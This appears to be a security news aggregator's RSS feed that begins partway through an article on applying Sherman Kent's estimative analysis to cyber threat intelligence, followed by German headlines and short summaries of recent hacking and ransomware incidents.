horizon:Claim:- Exact claim:- What this claim does not say:Evidence base:- Author-observed:- Source-observed:- Reported:- Assessed by source:- Inferred by analyst:Source quality:- Source access:- Source reliability:- Information credibility:- Corroboration:- Author verification:Assumptions:- Assumption 1:- Assumption 2:- Assumption sensitivity:Alternative hypotheses:- H1 (primary):- H2 (alternative):- H3 (alternative, if needed):- Discriminating evidence:- Current preferred hypothesis and why:Confidence basis:- Collection strength:- Collection weakness:- Analytic uncertainty:- Dissent or caveats:Collection requirements:- Requirement 1:- Requirement 2:- Requirement 3:Indicators to watch:- Indicator that would increase confidence:- Indicator that would decrease confidence:- Indicator that would change the assessment:Defensive or policy implications:- Tactical:- Operational:- Strategic:ConclusionSherman Kent&rsquo;s analytic legacy is not a historical curiosity. It is a practical discipline for writing intelligence under uncertainty. For CTI analysts, the lesson is especially important because cyber reporting routinely combines artifacts, telemetry, malware names, infrastructure links, vendor clusters, government statements, victimology, attribution, and&nbsp;intent.The real-world examples show why the discipline matters:Cuban Missile Crisis imagery shows policy-relevant intelligence narrowing uncertainty without replacing policy judgment.Iraq WMD analysis shows the danger of converting assumptions into confident conclusions.The 2007 Iran NIE shows the value of decomposing a broad issue into separate judgments with separate confidence levels.9/11 warning analysis shows why alternative hypotheses matter before a threat is&nbsp;obvious.SolarWinds shows why CTI must separate technical fact, tooling, vendor labels, attribution, and&nbsp;intent.APT1 victimology shows how to infer target selection without pretending to observe reconnaissance.NotPetya shows why destructive effect and strategic intent must be assessed separately.Used this way, Kent-style analytic discipline helps CTI analysts produce clearer estimates, better collection requirements, more defensible confidence statements, and fewer overclaims.ReferencesCIA, Sherman Kent, Words of Estimative Probability: https://www.cia.gov/resources/csi/studies-in-intelligence/archives/vol-8-no-4/words-of-estimative-probability/CIA, Words of Estimative Probability PDF: https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdfCIA, The Intelligence Process: A Digest from Strategic Intelligence by Sherman Kent: https://www.cia.gov/readingroom/document/cia-rdp78-04718a000600100003-3CIA, Sherman Kent and the Profession of Intelligence Analysis: https://www.cia.gov/resources/csi/static/Kent-Profession-Intel-Analysis.pdfODNI, Intelligence Community Directive 203: Analytic Standards: https://www.dni.gov/files/documents/ICD/ICD-203.pdfCIA, A Tradecraft Primer: Structured Analytic Techniques for Improving Intelligence Analysis: https://www.cia.gov/resources/csi/static/Tradecraft-Primer-apr09.pdfOffice of the Historian, Cuban Missile Crisis chronology and U-2 collection: https://history.state.gov/historicaldocuments/frus1961-63v11/d16National Archives, Aerial Photograph of Missiles in Cuba: https://www.archives.gov/milestone-documents/aerial-photograph-of-missiles-in-cubaDIA, Cuban Missile Crisis U-2 photo record: https://www.dia.mil/News-Features/Photo-Gallery/igphoto/2000948884/WMD Commission report index: https://govinfo.library.unt.edu/wmd/report/index.htmlWMD Commission report PDF: https://www.govinfo.gov/content/pkg/GPO-WMD/pdf/GPO-WMD.pdfWMD Commission transmittal letter: https://govinfo.library.unt.edu/wmd/report/transmittal_letter.htmlSenate Select Committee conclusions on Iraq WMD intelligence via GlobalSecurity mirror: https://www.globalsecurity.org/intell/library/congress/2004_rpt/iraq-wmd_intell_09jul2004_conclusions.htm9/11 Commission Report PDF: https://www.9-11commission.gov/report/911Report.pdfOffice of Justice Programs, 9/11 Commission Report summary: https://www.ojp.gov/ncjrs/virtual-library/abstracts/911-commission-report-executive-summaryODNI, Iran: Nuclear Intentions and Capabilities, 2007 NIE: https://www.dni.gov/files/documents/Newsroom/Reports%20and%20Pubs/20071203_release.pdfCIA CSI, CIA Support to Policymakers: The 2007 NIE on Iran&rsquo;s Nuclear Intentions and Capabilities: https://www.cia.gov/resources/csi/books-monographs/cia-support-to-policymakers-the-2007-nie-on-irans-nuclear-intentions-and-capabilities/Mandiant, APT1: https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdfGoogle Cloud / Mandiant, APT28: https://cloud.google.com/blog/topics/threat-intelligence/apt28-a-window-into-russias-cyber-espionage-operationsCISA, SolarWinds AA20&ndash;352A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352aCrowdStrike, SUNSPOT: https://www.crowdstrike.com/en-us/blog/sunspot-malware-technical-analysis/Microsoft, GoldMax, GoldFinder, and Sibot: https://www.microsoft.com/en-us/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/CrowdStrike, StellarParticle observations: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/MITRE ATT&amp;CK: https://attack.mitre.org/MITRE, MITRE ATT&amp;CK overview: https://www.mitre.org/focus-areas/cybersecurity/mitre-attackSqrrl / David Bianco, A Framework for Cyber Threat Hunting Part 1: The Pyramid of Pain: https://www.threathunting.net/files/A%20Framework%20for%20Cyber%20Threat%20Hunting%20Part%201_%20The%20Pyramid%20of%20Pain%20_%20Sqrrl.pdfMandiant, WannaCry malware profile: https://cloud.google.com/blog/topics/threat-intelligence/wannacry-malware-profileMandiant, WannaCry use of EternalBlue: https://cloud.google.com/blog/topics/threat-intelligence/smb-exploited-wannacry-use-of-eternalblue/DOJ, North Korean regime-backed programmer charged in cyber attacks including WannaCry 2.0: https://www.justice.gov/archives/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-andMicrosoft, NotPetya technical analysis: https://www.microsoft.com/security/blog/2017/10/03/advanced-threat-analytics-security-research-network-technical-analysis-notpetya/Cisco Talos, The MeDoc Connection: https://blogs.cisco.com/security/talos/the-medoc-connectionUK Government, Foreign Office Minister condemns Russia for NotPetya attacks: https://www.gov.uk/government/news/foreign-office-minister-condemns-russia-for-notpetya-attacksWhite House, Statement from the Press Secretary on NotPetya: https://trumpwhitehouse.archives.gov/briefings-statements/statement-press-secretary-25/DOJ, Six Russian GRU officers charged in connection with destructive malware including NotPetya: https://www.justice.gov/opa/pr/six-russian-gru-officers-charged-connection-worldwide-deployment-destructive-malware-andFollow for practical cybersecurity researchIf you&rsquo;re interested in Offensive security, AI security, real-world attack simulations, CTI, and detection engineering &mdash; this is exactly what I focus&nbsp;on.Stay connected:&rarr; Subscribe on Medium: medium.com/@1200km&rarr; Connect on LinkedIn: andrey-pautov&rarr; GitHub &mdash; tools &amp; labs: github.com/anpa1200&rarr; Contact: 1200km@gmail.comAndrey PautovApplying Sherman Kent&rsquo;s Analytic Discipline to CTI: A Practical Analyst Guide was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3580440/IT+Sicherheit/Hacker/Applying+Sherman+Kent%E2%80%99s+Analytic+Discipline+to+CTI%3A+A+Practical+Analyst+Guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580440/IT+Sicherheit/Hacker/Applying+Sherman+Kent%E2%80%99s+Analytic+Discipline+to+CTI%3A+A+Practical+Analyst+Guide/</guid>
<pubDate>Mon, 08 Jun 2026 06:31:26 +0200</pubDate>
</item>
<item> 
<title><![CDATA[hacker, hacking, security, hack, cybercrime, hacker, hacker, hacking, hacking, hack ...]]></title> 
<description><![CDATA[hacker, hacking, security, hack, cybercrime, hacker, hacker, hacking, hacking, hack, cybercrime, cybercrime, cybercrime, cybercrime, cybercrime. ]]></description>
<link>https://tsecurity.de/de/3580414/IT+Sicherheit/Hacker/hacker%2C+hacking%2C+security%2C+hack%2C+cybercrime%2C+hacker%2C+hacker%2C+hacking%2C+hacking%2C+hack+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580414/IT+Sicherheit/Hacker/hacker%2C+hacking%2C+security%2C+hack%2C+cybercrime%2C+hacker%2C+hacker%2C+hacking%2C+hacking%2C+hack+.../</guid>
<pubDate>Mon, 08 Jun 2026 02:06:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Anthropic warnt: KI-Systeme entwerfen eigene Nachfolger - Ad-hoc-news.de]]></title> 
<description><![CDATA[... Hacking-F&auml;higkeiten. Interne Untersuchungen zeigen: &Uuml;ber 80 Prozent des ... Forscher pr&auml;sentierten k&uuml;rzlich einen KI-gesteuerten Computerwurm, der seine&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3580413/IT+Sicherheit/Hacker/Anthropic+warnt%3A+KI-Systeme+entwerfen+eigene+Nachfolger+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580413/IT+Sicherheit/Hacker/Anthropic+warnt%3A+KI-Systeme+entwerfen+eigene+Nachfolger+-+Ad-hoc-news.de/</guid>
<pubDate>Mon, 08 Jun 2026 03:22:26 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI-Warnung: Anthropic stoppt Mythos-Modell wegen Hacking-Risiken - Ad-hoc-news.de]]></title> 
<description><![CDATA[Der Grund: Anthropic hat ein neues Modell namens Mythos entwickelt, das &uuml;ber erhebliche Hacking-F&auml;higkeiten verf&uuml;gt. Anzeige. W&auml;hrend die Entwicklung&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3580412/IT+Sicherheit/Hacker/KI-Warnung%3A+Anthropic+stoppt+Mythos-Modell+wegen+Hacking-Risiken+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580412/IT+Sicherheit/Hacker/KI-Warnung%3A+Anthropic+stoppt+Mythos-Modell+wegen+Hacking-Risiken+-+Ad-hoc-news.de/</guid>
<pubDate>Mon, 08 Jun 2026 05:45:34 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Syscoin pausiert Bridge nach Angriff: Hacker erzeugt fünf Milliarden unerlaubte SYS]]></title> 
<description><![CDATA[Syscoin hat seine Bridge pausiert, nachdem ein Angreifer eine Validierungsl&uuml;cke ausnutzte und 5 Milliarden nicht genehmigte SYS pr&auml;gte. ]]></description>
<link>https://tsecurity.de/de/3580405/IT+Sicherheit/Hacker/Syscoin+pausiert+Bridge+nach+Angriff%3A+Hacker+erzeugt+f%C3%BCnf+Milliarden+unerlaubte+SYS/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580405/IT+Sicherheit/Hacker/Syscoin+pausiert+Bridge+nach+Angriff%3A+Hacker+erzeugt+f%C3%BCnf+Milliarden+unerlaubte+SYS/</guid>
<pubDate>Mon, 08 Jun 2026 05:49:16 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Silent Ransom Group: Hacker erbeuten 14 GB und fordern Millionen - Ad-hoc-news.de]]></title> 
<description><![CDATA[Neue Gruppen erpressen Firmen mit gestohlenen Daten und L&ouml;segeldforderungen. Hacker kapern Teams und Zoom f&uuml;r Millionen-Erpressung. Silent - A shadowy&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3580349/IT+Sicherheit/Hacker/Silent+Ransom+Group%3A+Hacker+erbeuten+14+GB+und+fordern+Millionen+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580349/IT+Sicherheit/Hacker/Silent+Ransom+Group%3A+Hacker+erbeuten+14+GB+und+fordern+Millionen+-+Ad-hoc-news.de/</guid>
<pubDate>Mon, 08 Jun 2026 04:18:25 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI-Phishing: 82,6% aller Betrugsmails werden künstlich generiert - Börse Express]]></title> 
<description><![CDATA[Dieser kostenlose Report zeigt, welche psychologischen Tricks Hacker gezielt einsetzen, um Unternehmen zu sch&auml;digen. Gratis-Ratgeber zur Hacker-Abwehr&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3580274/IT+Sicherheit/Hacker/KI-Phishing%3A+82%2C6%25+aller+Betrugsmails+werden+k%C3%BCnstlich+generiert+-+B%C3%B6rse+Express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580274/IT+Sicherheit/Hacker/KI-Phishing%3A+82%2C6%25+aller+Betrugsmails+werden+k%C3%BCnstlich+generiert+-+B%C3%B6rse+Express/</guid>
<pubDate>Mon, 08 Jun 2026 03:42:03 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Russische Hacker: 73 GitHub-Repos von Microsoft kompromittiert - Ad-hoc-news.de]]></title> 
<description><![CDATA[Russische Hacker: 73 GitHub-Repos von Microsoft kompromittiert. 08.06.2026 - 00:53:43 | boerse-global.de. Die Hackergruppe UAC-0001 attackiert&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3580131/IT+Sicherheit/Hacker/Russische+Hacker%3A+73+GitHub-Repos+von+Microsoft+kompromittiert+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580131/IT+Sicherheit/Hacker/Russische+Hacker%3A+73+GitHub-Repos+von+Microsoft+kompromittiert+-+Ad-hoc-news.de/</guid>
<pubDate>Mon, 08 Jun 2026 00:54:43 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Erpresser-Welle: Hacker stehlen 300 Millionen Dollar über Teams - BornCity]]></title> 
<description><![CDATA[Microsoft r&uuml;stet Teams mit Kerberos-Authentifizierung und KI-Schutz gegen eine Welle von Social-Engineering-Angriffen auf. ]]></description>
<link>https://tsecurity.de/de/3580095/IT+Sicherheit/Hacker/Erpresser-Welle%3A+Hacker+stehlen+300+Millionen+Dollar+%C3%BCber+Teams+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580095/IT+Sicherheit/Hacker/Erpresser-Welle%3A+Hacker+stehlen+300+Millionen+Dollar+%C3%BCber+Teams+-+BornCity/</guid>
<pubDate>Sun, 07 Jun 2026 23:10:03 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I drove with Apple CarPlay for over 25,000 miles last year - these apps were the most essential]]></title> 
<description><![CDATA[I spend a lot of time driving. These are the CarPlay apps that make every ride easy. ]]></description>
<link>https://tsecurity.de/de/3579939/IT+Sicherheit/Hacker/I+drove+with+Apple+CarPlay+for+over+25%2C000+miles+last+year+-+these+apps+were+the+most+essential/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579939/IT+Sicherheit/Hacker/I+drove+with+Apple+CarPlay+for+over+25%2C000+miles+last+year+-+these+apps+were+the+most+essential/</guid>
<pubDate>Sun, 07 Jun 2026 21:49:00 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta-Sicherheitslücke: Hacker kaperten 20.000 Instagram-Konten - Ad-hoc-news.de]]></title> 
<description><![CDATA[Hacker nutzten KI-Chatbot von Meta aus, um Passw&ouml;rter zur&uuml;ckzusetzen. Prominente Profile wie das Obama White House waren betroffen. ]]></description>
<link>https://tsecurity.de/de/3579916/IT+Sicherheit/Hacker/Meta-Sicherheitsl%C3%BCcke%3A+Hacker+kaperten+20.000+Instagram-Konten+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579916/IT+Sicherheit/Hacker/Meta-Sicherheitsl%C3%BCcke%3A+Hacker+kaperten+20.000+Instagram-Konten+-+Ad-hoc-news.de/</guid>
<pubDate>Sun, 07 Jun 2026 20:50:45 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Nach Hacker-Angriff verliert Tierschützer Bruno Jelovic die Hälfte seiner Spenden - Blick]]></title> 
<description><![CDATA[Mit seinem Instagram-Account &laquo;thegodfatherofdogs&raquo; sammelt Tiersch&uuml;tzer Bruno Jelovic Spenden, um Hunde im Balkan zu retten. ]]></description>
<link>https://tsecurity.de/de/3579873/IT+Sicherheit/Hacker/Nach+Hacker-Angriff+verliert+Tiersch%C3%BCtzer+Bruno+Jelovic+die+H%C3%A4lfte+seiner+Spenden+-+Blick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579873/IT+Sicherheit/Hacker/Nach+Hacker-Angriff+verliert+Tiersch%C3%BCtzer+Bruno+Jelovic+die+H%C3%A4lfte+seiner+Spenden+-+Blick/</guid>
<pubDate>Sun, 07 Jun 2026 18:27:34 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Hack per KI: Wie Angreifer Metas eigenen Support-Chatbot ausnutzten | t3n]]></title> 
<description><![CDATA[Statt die Anfrage abzulehnen, willigte Metas KI ein und schickte einen Verifizierungscode an die E-Mail-Adresse des Hackers. Nachdem der Hacker den&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579781/IT+Sicherheit/Hacker/Instagram-Hack+per+KI%3A+Wie+Angreifer+Metas+eigenen+Support-Chatbot+ausnutzten+%7C+t3n/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579781/IT+Sicherheit/Hacker/Instagram-Hack+per+KI%3A+Wie+Angreifer+Metas+eigenen+Support-Chatbot+ausnutzten+%7C+t3n/</guid>
<pubDate>Sun, 07 Jun 2026 16:34:38 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Microsoft Office: Russische Hacker kapern Behördennetzwerke in EU - BornCity]]></title> 
<description><![CDATA[... APT28. Hacker kapern Microsoft Office &ndash; Beh&ouml;rden in EU und Ukraine im Visier. Sicherheitsforscher haben eine massive Angriffswelle auf&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579780/IT+Sicherheit/Hacker/Microsoft+Office%3A+Russische+Hacker+kapern+Beh%C3%B6rdennetzwerke+in+EU+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579780/IT+Sicherheit/Hacker/Microsoft+Office%3A+Russische+Hacker+kapern+Beh%C3%B6rdennetzwerke+in+EU+-+BornCity/</guid>
<pubDate>Sun, 07 Jun 2026 19:45:01 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Schmölln in Thüringen: Bushaltestellen-Bildschirm zeigt wohl plötzlich Pornografie - Spiegel]]></title> 
<description><![CDATA[In Schm&ouml;lln in Th&uuml;ringen sollen obsz&ouml;ne Aufnahmen &uuml;ber einen Infomonitor an einer Bushaltestelle geflimmert sein. Die Polizei hat die Ermittlungen&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579699/IT+Sicherheit/Hacker/Schm%C3%B6lln+in+Th%C3%BCringen%3A+Bushaltestellen-Bildschirm+zeigt+wohl+pl%C3%B6tzlich+Pornografie+-+Spiegel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579699/IT+Sicherheit/Hacker/Schm%C3%B6lln+in+Th%C3%BCringen%3A+Bushaltestellen-Bildschirm+zeigt+wohl+pl%C3%B6tzlich+Pornografie+-+Spiegel/</guid>
<pubDate>Sun, 07 Jun 2026 18:22:36 +0200</pubDate>
</item>
<item> 
<title><![CDATA[SECURITY AFFAIRS MALWARE NEWSLETTER ROUND  100]]></title> 
<description><![CDATA[Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter Malware Targeting WordPress Abuses Steam Community Profiles for Command &amp; Control Operations&nbsp;&nbsp; Legitimate-Looking Codex Remote UI Secretly Steals Your AI Tokens&nbsp;&nbsp; Operation Dragon Weave : Uncovering a China-Linked Campaign Targeting Czech Republic and Taiwan [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3579655/IT+Sicherheit/Hacker/SECURITY+AFFAIRS+MALWARE+NEWSLETTER+ROUND++100/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579655/IT+Sicherheit/Hacker/SECURITY+AFFAIRS+MALWARE+NEWSLETTER+ROUND++100/</guid>
<pubDate>Sun, 07 Jun 2026 17:38:25 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Politiker fordern nach Ruag-Hack konsequente Aufarbeitung - MSN]]></title> 
<description><![CDATA[Die L&ouml;segeldzahlung der Ruag an die Hackergruppe Akira sorgt f&uuml;r Kritik. Die Nationalr&auml;te Franz Gr&uuml;ter (SVP) und Gerhard Andrey (Gr&uuml;ne) fordern&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579642/IT+Sicherheit/Hacker/Politiker+fordern+nach+Ruag-Hack+konsequente+Aufarbeitung+-+MSN/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579642/IT+Sicherheit/Hacker/Politiker+fordern+nach+Ruag-Hack+konsequente+Aufarbeitung+-+MSN/</guid>
<pubDate>Sun, 07 Jun 2026 11:54:21 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Parlamentarier kritisieren Ruag und fordern Aufarbeitung - Nau.ch]]></title> 
<description><![CDATA[Die L&ouml;segeldzahlung der Ruag an Hacker sorgt im Bundeshaus f&uuml;r Kritik. Politiker aus verschiedenen Lagern fordern eine unabh&auml;ngige Untersuchung. ]]></description>
<link>https://tsecurity.de/de/3579641/IT+Sicherheit/Hacker/Parlamentarier+kritisieren+Ruag+und+fordern+Aufarbeitung+-+Nau.ch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579641/IT+Sicherheit/Hacker/Parlamentarier+kritisieren+Ruag+und+fordern+Aufarbeitung+-+Nau.ch/</guid>
<pubDate>Sun, 07 Jun 2026 13:09:48 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker-Gruppe SRG: Physische Infiltration und Erpressung in unter einer Stunde - BornCity]]></title> 
<description><![CDATA[Kriminelle kombinieren zunehmend digitale Attacken mit pers&ouml;nlichem Eindringen. KI-gest&uuml;tzte Phishing-Versuche steigen massiv, w&auml;hrend Unternehmen&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579640/IT+Sicherheit/Hacker/Hacker-Gruppe+SRG%3A+Physische+Infiltration+und+Erpressung+in+unter+einer+Stunde+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579640/IT+Sicherheit/Hacker/Hacker-Gruppe+SRG%3A+Physische+Infiltration+und+Erpressung+in+unter+einer+Stunde+-+BornCity/</guid>
<pubDate>Sun, 07 Jun 2026 13:11:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Eine kräftige „Schlochsaitn“ beim Herzogenauracher Altstadtfest - NN.de]]></title> 
<description><![CDATA[Herzogenaurach/Erlangen - Ein Riesenandrang herrschte beim Herzogenauracher Altstadtfest. Was begeisterte die Besucher am meisten? ]]></description>
<link>https://tsecurity.de/de/3579639/IT+Sicherheit/Hacker/Eine+kr%C3%A4ftige+%E2%80%9ESchlochsaitn%E2%80%9C+beim+Herzogenauracher+Altstadtfest+-+NN.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579639/IT+Sicherheit/Hacker/Eine+kr%C3%A4ftige+%E2%80%9ESchlochsaitn%E2%80%9C+beim+Herzogenauracher+Altstadtfest+-+NN.de/</guid>
<pubDate>Sun, 07 Jun 2026 13:32:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[DriveSurge-Angriffe: Cyberkriminelle kapern Webseiten - it-daily.net]]></title> 
<description><![CDATA[Die Kampagne DriveSurge nutzt zTDS, FakeUpdates und Clipboard-Hijacking, um Besucher gekaperter Webseiten unbemerkt mit Schadsoftware zu&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579638/IT+Sicherheit/Hacker/DriveSurge-Angriffe%3A+Cyberkriminelle+kapern+Webseiten+-+it-daily.net/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579638/IT+Sicherheit/Hacker/DriveSurge-Angriffe%3A+Cyberkriminelle+kapern+Webseiten+-+it-daily.net/</guid>
<pubDate>Sun, 07 Jun 2026 14:08:41 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Microsoft muss wegen Zero-Day-Provokateur "Nightmare Eclipse" einen Rückzieher machen]]></title> 
<description><![CDATA[Microsoft r&uuml;ckt von seinen rechtlichen Drohungen gegen den Hacker Nightmare Eclipse ab. Zuvor hatte es heftige Kritik aus der Branche an&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579637/IT+Sicherheit/Hacker/Microsoft+muss+wegen+Zero-Day-Provokateur+%22Nightmare+Eclipse%22+einen+R%C3%BCckzieher+machen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579637/IT+Sicherheit/Hacker/Microsoft+muss+wegen+Zero-Day-Provokateur+%22Nightmare+Eclipse%22+einen+R%C3%BCckzieher+machen/</guid>
<pubDate>Sun, 07 Jun 2026 14:15:23 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Chinesische Hacker saßen 18 Monate unbemerkt in Microsoft 365 – Martin Cid Magazine DE]]></title> 
<description><![CDATA[Eine mit China verbundene Spionagegruppe lebte anderthalb Jahre in Firmenkonten in der Cloud, indem sie Vertrauen stahl, statt einzubrechen. ]]></description>
<link>https://tsecurity.de/de/3579636/IT+Sicherheit/Hacker/Chinesische+Hacker+sa%C3%9Fen+18+Monate+unbemerkt+in+Microsoft+365+%E2%80%93+Martin+Cid+Magazine+DE/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579636/IT+Sicherheit/Hacker/Chinesische+Hacker+sa%C3%9Fen+18+Monate+unbemerkt+in+Microsoft+365+%E2%80%93+Martin+Cid+Magazine+DE/</guid>
<pubDate>Sun, 07 Jun 2026 15:17:44 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Porno-Attacke in deutscher Kleinstadt - MSN]]></title> 
<description><![CDATA[Die Polizei spricht von einem kuriosen Einsatz. Auf einem Bildschirm an einer Bushaltestelle sind pl&ouml;tzlich obsz&ouml;ne Bilder zu sehen. ]]></description>
<link>https://tsecurity.de/de/3579635/IT+Sicherheit/Hacker/Porno-Attacke+in+deutscher+Kleinstadt+-+MSN/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579635/IT+Sicherheit/Hacker/Porno-Attacke+in+deutscher+Kleinstadt+-+MSN/</guid>
<pubDate>Sun, 07 Jun 2026 16:10:51 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Größte Cyberangriffe 2026: Datendiebstahl und Risiken - Zamin.uz]]></title> 
<description><![CDATA[2026 zeigte, dass Cybersicherheit nicht mehr nur ein technisches Problem ist, sondern zum Kernst&uuml;ck der globalen Politik geworden&hellip; ]]></description>
<link>https://tsecurity.de/de/3579634/IT+Sicherheit/Hacker/Gr%C3%B6%C3%9Fte+Cyberangriffe+2026%3A+Datendiebstahl+und+Risiken+-+Zamin.uz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579634/IT+Sicherheit/Hacker/Gr%C3%B6%C3%9Fte+Cyberangriffe+2026%3A+Datendiebstahl+und+Risiken+-+Zamin.uz/</guid>
<pubDate>Sun, 07 Jun 2026 16:56:13 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Traueranzeige Erna Hacker, Floß - Oberpfalzecho]]></title> 
<description><![CDATA[Begleitet durch: Bestattung Schmid - Neustadt/WN. ]]></description>
<link>https://tsecurity.de/de/3579633/IT+Sicherheit/Hacker/Traueranzeige+Erna+Hacker%2C+Flo%C3%9F+-+Oberpfalzecho/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579633/IT+Sicherheit/Hacker/Traueranzeige+Erna+Hacker%2C+Flo%C3%9F+-+Oberpfalzecho/</guid>
<pubDate>Sun, 07 Jun 2026 17:15:39 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Schmölln: Porno-Attacke in Thüringer Kleinstadt – Polizei ermittelt - T-Online]]></title> 
<description><![CDATA[Ein Hacker-Angriff steht im Raum. In der th&uuml;ringischen 14.000-Einwohner-Kleinstadt Schm&ouml;lln haben pornografische Aufnahmen einen Polizeieinsatz&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579632/IT+Sicherheit/Hacker/Schm%C3%B6lln%3A+Porno-Attacke+in+Th%C3%BCringer+Kleinstadt+%E2%80%93+Polizei+ermittelt+-+T-Online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579632/IT+Sicherheit/Hacker/Schm%C3%B6lln%3A+Porno-Attacke+in+Th%C3%BCringer+Kleinstadt+%E2%80%93+Polizei+ermittelt+-+T-Online/</guid>
<pubDate>Sun, 07 Jun 2026 17:23:58 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Entgegen den Warnungen des Bundes: Ruag bezahlte Lösegeld an Hacker - Freiburger Nachrichten]]></title> 
<description><![CDATA[Der Bundeskonzern RUAG hat nach einem Hacker-Angriff im vergangenen Herbst L&ouml;segeld bezahlt. Dies berichtete das SRF am Samstag. Besonders brisant&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3579631/IT+Sicherheit/Hacker/Entgegen+den+Warnungen+des+Bundes%3A+Ruag+bezahlte+L%C3%B6segeld+an+Hacker+-+Freiburger+Nachrichten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579631/IT+Sicherheit/Hacker/Entgegen+den+Warnungen+des+Bundes%3A+Ruag+bezahlte+L%C3%B6segeld+an+Hacker+-+Freiburger+Nachrichten/</guid>
<pubDate>Sun, 07 Jun 2026 17:25:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Gemini-Sicherheitslücke: Hacker steuerten KI über WhatsApp-Nachrichten]]></title> 
<description><![CDATA[Sicherheitsforscher deckten eine Gemini-L&uuml;cke auf, die Angreifern die Kontrolle &uuml;ber Ger&auml;tefunktionen via Chat-Benachrichtigungen erm&ouml;glichte. ]]></description>
<link>https://tsecurity.de/de/3579630/IT+Sicherheit/Hacker/Gemini-Sicherheitsl%C3%BCcke%3A+Hacker+steuerten+KI+%C3%BCber+WhatsApp-Nachrichten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579630/IT+Sicherheit/Hacker/Gemini-Sicherheitsl%C3%BCcke%3A+Hacker+steuerten+KI+%C3%BCber+WhatsApp-Nachrichten/</guid>
<pubDate>Sun, 07 Jun 2026 17:31:35 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker greift Moodle an und erpresst Hochschule - it-daily.net]]></title> 
<description><![CDATA[Die Universit&auml;t des Saarlandes hat einen Cyberangriff best&auml;tigt, der &uuml;ber 40.000 Nutzerprofile auf der Lernplattform Moodle kompromittierte. ]]></description>
<link>https://tsecurity.de/de/3579629/IT+Sicherheit/Hacker/Hacker+greift+Moodle+an+und+erpresst+Hochschule+-+it-daily.net/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579629/IT+Sicherheit/Hacker/Hacker+greift+Moodle+an+und+erpresst+Hochschule+-+it-daily.net/</guid>
